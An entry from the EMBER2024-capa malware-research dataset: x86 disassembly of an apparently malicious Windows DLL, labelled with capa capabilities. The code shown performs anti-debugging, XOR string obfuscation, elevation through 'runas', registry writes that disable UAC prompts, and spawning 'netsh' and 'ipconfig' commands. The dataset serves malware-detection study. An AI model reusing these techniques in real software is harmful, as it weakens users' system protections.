joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014c1b
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push ebx
push 0x100507a4
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
test eax, eax
je 0x10014c3c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
je 0x10014ca5
call dword [sym.imp.KERNEL32.DLL_IsDebuggerPresent]
test eax, eax
jne 0x10014ca7
call fcn.10014bc5
test eax, eax
je 0x10014ca7
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
push 0x80
push esi
call dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
sub esp, 0xc
push 0x10014b90
call fcn.1002012d
add esp, 0x14
mov esi, eax
push 0x7d0
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
pop ebx
jmp 0x100169d6
pop ebx
ret
push 0xffffffffffffffff
call fcn.10024d8a
int3
push 4
mov eax, 0x1003fea5
call fcn.10039fc9
mov edi, 0xa308
push edi
call fcn.10022c52
mov esi, eax
pop ecx
mov dword [ebp - 0x10], esi
xor eax, eax
mov dword [ebp - 4], eax
test esi, esi
je 0x10016a0e
push edi
push eax
push esi
call fcn.10022b50
add esp, 0xc
mov ecx, esi
call fcn.10016ac6
or dword [ebp - 4], 0xffffffff
mov dword [0x1005c420], eax
call fcn.100168b1
call fcn.10039f97
ret

Function at 0x10015b9a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
push 0xffffffffffffffff
push dword [esi + 0xc]
mov byte [esi + 4], bl
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, esi
mov dword [esi + 0xc], ebx
call fcn.10016043
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push eax
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.DLL_ResetEvent]
push ecx
push dword [ebp + 0xc]
lea ecx, [esi + 0x10]
mov byte [esi + 4], 1
push dword [ebp + 8]
call fcn.10015992
mov edi, eax
cmp dword [ebp + 0x14], ebx
je 0x10015c0d
test edi, edi
je 0x10015c0d
push ebx
push ebx
push esi
push 0x10016068
push ebx
push ebx
call fcn.10027cca
add esp, 0x18
mov dword [esi + 0xc], eax
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x10016275
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
lea edx, [ebp - 4]
mov dword [ebp - 4], esi
call fcn.1001617e
mov edx, eax
mov eax, dword [ebp - 4]
test edx, edx
jle 0x100162a1
mov cl, byte [esi + eax]
add cl, 0x6d
xor cl, 0x13
mov byte [esi + eax], cl
inc esi
cmp esi, edx
jl 0x10016290
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001637f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
push esi
call fcn.10022980
lea edi, [eax + 1]
push edi
call fcn.1002445c
push edi
mov ebx, eax
push esi
push ebx
call fcn.10021ce0
add esp, 0x14
xor ecx, ecx
test edi, edi
jle 0x100163b9
mov al, byte [ecx + ebx]
xor al, 0x13
sub al, 0x6d
mov byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jl 0x100163aa
lea eax, [ebp - 4]
mov edx, edi
push eax
mov ecx, ebx
call fcn.100162a6
push ebx
call fcn.10024424
mov eax, dword [ebp - 4]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100163d8
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
mov ax, word [0x100509f8]
push ebx
push esi
mov word [ebp - 0x134], ax
mov esi, 0xfd
mov al, byte [0x100509fa]
xor ebx, ebx
push esi
mov byte [ebp - 0x132], al
lea eax, [ebp - 0x131]
push ebx
push eax
call fcn.10022b50
mov ax, word [0x100509fc]
mov word [ebp - 0x234], ax
mov al, byte [0x100509fe]
push esi
mov byte [ebp - 0x232], al
lea eax, [ebp - 0x231]
push ebx
push eax
call fcn.10022b50
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x134]
push eax
call fcn.10028910
movdqa xmm0, xmmword [0x10050ec0]
add esp, 0x20
movdqu xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x14], 0x506c6172
movdqa xmm0, xmmword [0x10051040]
push 4
pop eax
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x10], 0x65636f72
push eax
push reloc.OLEAUT32.dll_SysReAllocString
movdqu xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0xc], 0x726f7373
mov word [ebp - 8], 0x305c
mov byte [ebp - 6], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x23c]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x244]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x244]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x238]
xor ecx, ebp
pop esi
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x100164fe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [0x1005c3fc]
xor ebx, ebx
push edi
push 0x100
mov edi, edx
push ebx
push edi
call fcn.10022b50
push 0x400
lea eax, [ebp - 0x434]
push ebx
push eax
call fcn.10022b50
movdqa xmm0, xmmword [0x10051000]
lea eax, [ebp - 0x34]
push esi
push eax
lea eax, [ebp - 0x434]
mov dword [ebp - 0x24], 0x575c7466
push eax
movdqu xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0x6f646e69
mov dword [ebp - 0x1c], 0x255c7377
mov word [ebp - 0x18], 0x73
mov dword [ebp - 0x14], 0x6e6e6f43
mov dword [ebp - 0x10], 0x47746365
mov dword [ebp - 0xc], 0x70756f72
mov byte [ebp - 8], bl
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x14]
lea edx, [ebp - 0x434]
push edi
push ecx
push eax
call fcn.100139d7
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret

Function at 0x100165bd
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
push edi
mov esi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x18]
push eax
push 0x10049dd4
push 1
push edi
push 0x10049db4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x100165fc
xor eax, eax
jmp 0x100166a2
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x10]
push edi
push edx
push 0x10049dc4
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100165f5
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0xc]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
jmp 0x10016696
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x14]
push edx
push 0x100434b0
push edi
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x1001667a
push 8
pop eax
mov word [ebp - 0x28], ax
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x14]
push edi
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10016671
push dword [ebp - 0x20]
inc esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ecx]
push 1
push ecx
call dword [edx + 0xc]
test eax, eax
je 0x10016631
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x100166b2
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [0x1005c3fc]
lea eax, [ebp - 0x42b]
push edi
xor ebx, ebx
mov edi, edx
push 0x3ff
push ebx
push eax
mov byte [ebp - 0x42c], bl
call fcn.10022b50
push 0x100
push ebx
push edi
call fcn.10022b50
push 0x400
lea eax, [ebp - 0x42c]
push ebx
push eax
call fcn.10022b50
movdqa xmm0, xmmword [0x10051000]
lea eax, [ebp - 0x2c]
push esi
push eax
lea eax, [ebp - 0x42c]
mov dword [ebp - 0xc], 0x74736f48
push eax
mov byte [ebp - 8], bl
movdqu xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x575c7466
mov dword [ebp - 0x18], 0x6f646e69
mov dword [ebp - 0x14], 0x255c7377
mov word [ebp - 0x10], 0x73
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x42c]
push edi
push ecx
push eax
call fcn.100139d7
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0x18
push edi
call esi
test eax, eax
jne 0x10016783
push ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x100
push edi
call dword [sym.imp.WS2_32.dll_gethostname]
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret

Function at 0x100167a3
Capabilities:
Create process on windows
Get token membership
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov word [ebp - 0x10c], 0x500
lea eax, [ebp - 0x118]
mov dword [ebp - 0x110], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x114], eax
test eax, eax
je 0x1001681b
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x118]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x114]
cmp eax, 1
jne 0x10016831
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
push esi
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push ebx
push eax
call fcn.10022b50
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x38
lea eax, [ebp - 0x150]
mov dword [ebp - 0x154], 0x3c
push ebx
push eax
call fcn.10022b50
add esp, 0xc
mov dword [ebp - 0x148], str.runas
lea eax, [ebp - 0x108]
mov dword [ebp - 0x138], 5
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
pop esi
test eax, eax
je 0x10016822
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x100168b1
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10041616
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x10059400]
xor eax, esp
mov dword [esp + 0x70], eax
push edi
mov eax, dword [0x10059400]
xor eax, esp
push eax
lea eax, [esp + 0x80]
mov dword fs:[0], eax
xor eax, eax
lea edi, [esp + 8]
stosd dword es:[edi], eax
lea ecx, [esp + 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100219a7
and dword [esp + 0x88], 0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xc]
call fcn.10021a43
mov byte [esp + 0x88], 1
cmp dword [esp + 0x24], 0
jne 0x10016928
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10016937
call fcn.10018129
call fcn.100167a3
mov byte [esp + 0x88], 0
lea ecx, [esp + 0x14]
call fcn.1001697d
or dword [esp + 0x88], 0xffffffff
lea ecx, [esp + 8]
call fcn.1001489e
mov ecx, dword [esp + 0x80]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [esp + 0x70]
xor ecx, esp
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x10016e4f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x13c
mov eax, 0x100417fd
call fcn.10039ffc
mov ebx, ecx
xor eax, eax
mov dword [ebp - 4], eax
lea edx, [ebp - 0x38]
mov dword [ebp - 0x144], eax
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x38], 0x6f637069
mov dword [ebp - 0x34], 0x6769666e
mov dword [ebp - 0x30], 0x6c612f20
mov word [ebp - 0x2c], 0x6c
call fcn.10016d5c
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
mov edi, ebx
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebx], eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
push 0xa8
push eax
lea eax, [ebp - 0x140]
mov dword [ebp - 0x144], ecx
push eax
call fcn.10022b50
pop ecx
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x140]
call fcn.1001a873
mov byte [ebp - 4], 2
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x64], al
mov byte [ebp - 4], 3
movdqa xmm0, xmmword [0x10051090]
mov dword [ebp - 0x28], 0xabccd4d2
mov dword [ebp - 0x24], 0xcacaf8cd
mov dword [ebp - 0x20], 0xf7c6e4c5
mov word [ebp - 0x1c], 0x20
movdqu xmmword [ebp - 0x4c], xmm0
mov word [ebp - 0x3c], 0x20
mov dword [ebp - 0x18], 0xe4c5caca
mov dword [ebp - 0x14], 0x20f7c6
jmp 0x1001700f
cmp byte [ebp - 0x28], 0
jne 0x10016f44
xor eax, eax
jmp 0x10016f4e
lea eax, [ebp - 0x28]
push eax
call fcn.10022980
pop ecx
push eax
push 0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x64]
call fcn.1001474b
cmp eax, 0xffffffff
jne 0x10016f8e
cmp byte [ebp - 0x4c], 0
jne 0x10016f6c
xor eax, eax
jmp 0x10016f76
lea eax, [ebp - 0x4c]
push eax
call fcn.10022980
pop ecx
push eax
push 0
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x64]
call fcn.1001474b
cmp eax, 0xffffffff
je 0x1001700f
cmp byte [ebp - 0x18], 0
jne 0x10016f98
xor eax, eax
jmp 0x10016fa2
lea eax, [ebp - 0x18]
push eax
call fcn.10022980
pop ecx
push eax
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x64]
call fcn.1001474b
mov edi, eax
lea eax, [ebp - 0x18]
push eax
call fcn.10022980
pop ecx
mov esi, 0x10050a24
add edi, eax
push esi
call fcn.10022980
pop ecx
push eax
push edi
push esi
lea ecx, [ebp - 0x64]
call fcn.1001474b
cmp edi, 0xffffffff
je 0x1001700f
cmp eax, 0xffffffff
je 0x1001700f
sub eax, edi
lea ecx, [ebp - 0x64]
push eax
push edi
lea eax, [ebp - 0x7c]
push eax
call fcn.10001e28
mov byte [ebp - 4], 4
lea eax, [ebp - 0x7c]
push eax
mov ecx, ebx
call fcn.1001a750
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x7c]
push 0
push 1
call fcn.1000176d
mov eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x140]
push 0xa
mov eax, dword [eax + 4]
add ecx, eax
call fcn.1001b1eb
movzx eax, al
lea edx, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x140]
call fcn.1001b9eb
pop ecx
mov ecx, eax
mov eax, dword [ecx]
mov eax, dword [eax + 4]
test byte [eax + ecx + 0xc], 6
je 0x10016f3a
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x64]
push 0
push 1
call fcn.1000176d
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe0]
call fcn.1001a942
lea ecx, [ebp - 0xe0]
call fcn.1001a3b6
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x94]
push 0
push 1
call fcn.1000176d
mov eax, ebx
call fcn.10039fab
ret
Function at 0x100170a4
Capabilities:
Create process on windows

Disassembly:
push 0x9c
mov eax, 0x1004185b
call fcn.10039ffc
xor eax, eax
mov dword [ebp - 0x1c], 0x616e7572
lea edi, [ebp - 0x30]
mov word [ebp - 0x18], 0x73
stosd dword es:[edi], eax
lea ecx, [ebp - 0x30]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10016e4f
and dword [ebp - 4], 0
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x2c]
push 2
pop ebx
jmp 0x100171b5
push esi
lea ecx, [ebp - 0x60]
call fcn.100014b8
mov byte [ebp - 4], 1
mov edx, ebx
lea ecx, [ebp - 0x90]
call fcn.1001575d
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x78]
push eax
call fcn.1001b5f8
pop ecx
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x90]
push 0
push 1
call fcn.1000176d
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0xa8]
call fcn.1001b63e
mov byte [ebp - 4], 5
mov edx, eax
lea ecx, [ebp - 0x48]
mov dword [esp], str.__dhcp
call fcn.1001b6b1
pop ecx
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xa8]
push 0
push 1
call fcn.1000176d
xor ecx, ecx
mov dword [ebp - 0x24], 0x7374656e
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
push ecx
cmovae eax, dword [ebp - 0x48]
push ecx
push eax
lea eax, [ebp - 0x24]
mov word [ebp - 0x20], 0x68
push eax
lea eax, [ebp - 0x1c]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
inc ebx
mov byte [ebp - 4], 4
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.1000176d
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78]
push 0
push 1
call fcn.1000176d
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x60]
push 0
push 1
call fcn.1000176d
add esi, 0x18
cmp esi, edi
jne 0x100170e2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.1001489e
call fcn.10039fab
ret

Function at 0x100171cf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
movdqa xmm0, xmmword [0x10050fe0]
lea eax, [ebp - 0x433]
push ebx
xor ebx, ebx
mov dword [ebp - 0x14], 0x73255c73
push 0x3ff
movdqu xmmword [ebp - 0x34], xmm0
push ebx
movdqa xmm0, xmmword [0x10050f20]
push eax
movdqu xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x10], bl
mov byte [ebp - 0x434], bl
call fcn.10022b50
push str.Windows_Eventn
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x434]
push eax
call fcn.10024622
add esp, 0x18
lea eax, [ebp - 0x444]
push eax
push 1
push ebx
lea eax, [ebp - 0x434]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100172ba
lea eax, [ebp - 0x43c]
mov dword [ebp - 0x43c], 4
push eax
lea eax, [ebp - 0x438]
mov dword [ebp - 0xc], 0x72617453
push eax
lea eax, [ebp - 0x440]
mov word [ebp - 8], 0x74
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x444]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x444]
test eax, eax
jne 0x100172b4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 0x438], 2
sete al
jmp 0x100172bc
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1001737c
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
movdqa xmm0, xmmword [0x10050fd0]
lea eax, [ebp - 0x10]
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xa4], edx
push eax
mov esi, ecx
mov dword [ebp - 0x18], 0x6f6c4274
movdqu xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x14], 0x6b63
mov byte [ebp - 0x12], bl
mov dword [ebp - 0x10], 0x72657375
mov dword [ebp - 0xc], 0x2e766e65
mov dword [ebp - 8], 0x6c6c64
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
lea eax, [ebp - 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x44
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0xa0]
push ebx
push eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
call fcn.10022b50
push 0x10
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.10022b50
movdqa xmm0, xmmword [str.WinSta0Default]
lea eax, [ebp - 0x38]
add esp, 0x18
mov dword [ebp - 0x58], ebx
movdqu xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0xa0], 0x44
mov dword [ebp - 0x98], eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea ecx, [ebp - 0x44]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x40]
push eax
push 1
push 1
push ebx
push 0x2000000
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov eax, dword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId]
cmp eax, ebx
je 0x100174d5
call eax
push 4
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
push 0xc
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push ebx
push dword [ebp - 0x40]
lea eax, [ebp - 0x48]
push eax
call dword [ebp - 0xa8]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xa0]
push eax
push ebx
push dword [ebp - 0x48]
push 0x430
push ebx
push ebx
push ebx
push dword [ebp - 0xa4]
push esi
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push dword [ebp - 0x40]
mov ebx, dword [ebp - 0x58]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x44]
call esi
test edi, edi
je 0x100174e0
push edi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x100174f3
Capabilities:
Enumerate processes

Disassembly:
push 0x254
mov eax, 0x10041883
call fcn.1003a068
xor esi, esi
mov dword [ebp - 0x260], esi
mov dword [ebp - 4], esi
push ecx
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x104
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffA]
push esi
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x100175a1
mov dword [ebp - 0x25c], 0x128
lea eax, [ebp - 0x25c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32First]
jmp 0x10017596
push 0x104
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffA]
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
jne 0x10017588
inc esi
mov dword [ebp - 0x260], esi
lea eax, [ebp - 0x25c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32Next]
test eax, eax
jne 0x10017557
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or dword [ebp - 4], 0xffffffff
jmp 0x100175c2
mov eax, esi
call fcn.10039fba
ret

Function at 0x1001769b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 8], 0
lea eax, [ebp - 0xc]
push ebx
push esi
push edi
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPolicies
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1001770b
lea eax, [ebp - 0x10]
push eax
push str.System
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x10017706
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call esi
lea eax, [ebp - 0xc]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPolicies
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10017757
lea eax, [ebp - 0x10]
push eax
push str.System
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x10017752
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.EnableLUA
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call esi
lea eax, [ebp - 0xc]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPolicies
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100177a3
lea eax, [ebp - 0x10]
push eax
push str.System
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x1001779e
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret